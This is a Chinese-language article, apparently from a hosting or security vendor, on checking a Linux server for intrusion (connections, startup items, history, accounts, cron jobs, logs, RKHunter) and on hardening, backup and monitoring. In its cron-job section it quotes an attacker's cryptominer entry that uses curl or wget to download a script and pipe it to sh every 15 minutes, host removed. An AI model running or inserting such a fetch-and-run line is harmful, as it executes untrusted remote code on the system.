服務(wù)器被入侵如何排查?如何防止服務(wù)器被入侵?
服務(wù)器大本營——技術(shù)文章內(nèi)容集合站發(fā)車?yán)玻?/p>
遇到很多次客戶服務(wù)器被入侵的情況,有些服務(wù)器被植入木馬后門、有些被檢查出有挖礦程序、有些發(fā)現(xiàn)登錄密碼不對,被惡意登錄修改了密碼,遇到了服務(wù)器被入侵的情況應(yīng)第一時間聯(lián)系服務(wù)商售后處理將損失降低到最低程度,讓網(wǎng)站、游戲等業(yè)務(wù)恢復(fù)。
?
根據(jù)以往的處理經(jīng)驗(yàn),總結(jié)了一些服務(wù)器被入侵的排查方法,專門用來檢查服務(wù)器第一時間的安全問題,看發(fā)生在哪里、服務(wù)器是否被黑、是否被攻擊、哪些被篡改等等
?
如何排查服務(wù)器被攻擊?
首先我們會對當(dāng)前服務(wù)器的IP,以及IP的地址,linux服務(wù)器名稱,服務(wù)器的版本是centos,還是redhat,服務(wù)器的當(dāng)前時間,進(jìn)行收集并記錄到一個txt文檔里,接下來再執(zhí)行下一步,對當(dāng)前服務(wù)器的異常網(wǎng)絡(luò)連接以及異常的系統(tǒng)進(jìn)程檢查,主要是通過netstat -an以及-antp命令來檢查服務(wù)器存在哪些異常的IP連接。并對連接的IP,進(jìn)行歸屬地查詢,如果是國外的IP,直接記錄當(dāng)前進(jìn)程的PID值,并自動將PID的所有信息記錄,查詢PID所在的linux文件地址,緊接著檢查當(dāng)前占用CPU大于百分之30的進(jìn)程,并檢查該進(jìn)程所在的文件夾。

在我們處理客戶服務(wù)器被攻擊的時候發(fā)現(xiàn)很多服務(wù)器的命令被篡改,比如正常的PS查看進(jìn)程的,查詢目錄的 cd的命令都給篡改了,讓服務(wù)器無法正常使用命令,檢查服務(wù)器安全造成了困擾。對服務(wù)器的啟動項(xiàng)進(jìn)行檢查,有些服務(wù)器被植入木馬后門,即使重啟服務(wù)器也還是被攻擊,木馬會自動的啟動,檢查linux的init.d的文件夾里是否有多余的啟動文件,也可以檢查時間,來判斷啟動項(xiàng)是否有問題。

再一個要檢查的地方是服務(wù)器的歷史命令,history很多服務(wù)器被黑都會留下痕跡,比如SSH登錄服務(wù)器后,攻擊者對服務(wù)器進(jìn)行了操作,執(zhí)行了那些惡意命令都可以通過history查詢的到,有沒有使用wget命令下載木馬,或者執(zhí)行S件。檢查服務(wù)器的所有賬號,以及當(dāng)前使用并登錄的管理員賬戶,tty是本地用戶登錄,pst是遠(yuǎn)程連接的用戶登錄,來排查服務(wù)器是否被黑,被攻擊,也可以檢查login.defs文件的uid值,判斷uid的passwd來獲取最近新建的管理員賬戶。執(zhí)行cat etc/passwd命令檢查是否存在異常的用戶賬戶,包括特權(quán)賬戶,UID值為0.

最重要的是檢查服務(wù)器的定時任務(wù),前段時間某網(wǎng)站客戶中了挖礦病毒,一直占用CPU,查看了定時任務(wù)發(fā)現(xiàn)每15分鐘自動執(zhí)行下載命令,crontab -l */15 * * * * (curl -fsSL ||wget -q-O- )|sh 代碼如上,自動下載并執(zhí)行SH木馬文件。定時任務(wù)刪都刪不掉,最后通過檢查系統(tǒng)文件查到了木馬,并終止進(jìn)程,強(qiáng)制刪除。有些服務(wù)器被黑后,請立即檢查2天里被修改的文件,可以通過find命令去檢查所有的文件,看是否有木馬后門文件,如果有可以確定服務(wù)器被黑了。
以上就是服務(wù)器被入侵攻擊的檢查辦法,通過我們SINE安全給出的檢查步驟,挨個去檢查,就會發(fā)現(xiàn)出問題,最重要的是要檢查日志,對這些日志要仔細(xì)的檢查,哪怕一個特征都會導(dǎo)致服務(wù)器陷入被黑,被攻擊的狀態(tài),也希望我們的分享能夠幫助到更多需要幫助的人,服務(wù)器安全了,帶來的也是整個互聯(lián)網(wǎng)的安全。
?
排查的話,可以從以下幾個方面入手:
1、日志
查看/var/log下的日志,如果發(fā)現(xiàn)有大量SSH登錄失敗日志,并存在root用戶多次登錄失敗后成功登錄的記錄,這就符合暴力破解特征。
2、系統(tǒng)分析
對系統(tǒng)關(guān)鍵配置、賬號、歷史記錄等進(jìn)行排查,確認(rèn)對系統(tǒng)的影響情況
發(fā)現(xiàn)/root/.bash_history內(nèi)歷史記錄已經(jīng)被清除,其他無異常。
3、進(jìn)程分析
對當(dāng)前活動進(jìn)程、網(wǎng)絡(luò)連接、啟動項(xiàng)、計劃任務(wù)等進(jìn)行排查
4、文件系統(tǒng)
查看系統(tǒng)關(guān)鍵的文件是否被修改等
5、后門排查
使用RKHunter掃描系統(tǒng)是否存在后門漏洞
加固建議
1) 禁用不必要啟動的服務(wù)與定時任務(wù)
2) 修改所有系統(tǒng)用戶密碼,并滿足密碼復(fù)雜度要求:8位以上,包含大小寫字母+數(shù)字+特殊符號組合;
3) 如非必要禁止SSH端口對外網(wǎng)開放,或者修改SSH默認(rèn)端口并限制允許訪問IP;
?
假如有一天真的遇到攻擊了,怎么辦呢?再來給你們帶來一個好辦法:
事前檢查和監(jiān)控
提前檢查
1.?服務(wù)器和網(wǎng)站漏洞檢測,對Web漏洞、弱口令、潛在的惡意行為、違法信息等進(jìn)行定期掃描。
2.?代碼的定期檢查,安全檢查,漏洞檢查。
3.?服務(wù)器安全加固,安全基線設(shè)置,安全基線檢查。
4.?數(shù)據(jù)庫執(zhí)行的命令,添加字段、加索引等,必須是經(jīng)過測試檢查的命令,才能在正式環(huán)境運(yùn)行。
數(shù)據(jù)備份
1.?服務(wù)器數(shù)據(jù)備份,包括網(wǎng)站程序文件備份,數(shù)據(jù)庫文件備份、配置文件備份,如有資源最好每小時備份和異地備份。
2.?建立五重備份機(jī)制:常規(guī)備份、自動同步、LVM快照、Azure備份、S3備份。
3.?定期檢查備份文件是否可用,避免出故障后,備份數(shù)據(jù)不可用。
4.?重要數(shù)據(jù)多重加密算法加密處理。
5.?程序文件版本控制,測試,發(fā)布,故障回滾。
安全監(jiān)控
1.?nagios監(jiān)控服務(wù)器常規(guī)狀態(tài)CPU負(fù)載、內(nèi)存、磁盤、流量,超過閾值告警。
2.?zabbix或cacti監(jiān)控服務(wù)器常規(guī)狀態(tài)CPU負(fù)載、內(nèi)存、磁盤、流量等狀態(tài),可以顯示歷史曲線,方便排查問題。
3.?監(jiān)控服務(wù)器SSH登錄記錄、iptables狀態(tài)、進(jìn)程狀態(tài),有異常記錄告警。
4.?監(jiān)控網(wǎng)站W(wǎng)EB日志(包括nginx日志php日志等),可以采用EKL來收集管理,有異常日志告警。
5.?運(yùn)維人員都要接收告警郵件和短信,至少所負(fù)責(zé)的業(yè)務(wù)告警郵件和短信必須接收,運(yùn)維經(jīng)理接收重要業(yè)務(wù)告警郵件和短信。(除非是專職運(yùn)維開發(fā))
6.?除服務(wù)器內(nèi)部監(jiān)控外,最好使用第三方監(jiān)控,從外部監(jiān)控業(yè)務(wù)是否正常(監(jiān)控URL、端口等),比如:云鎖。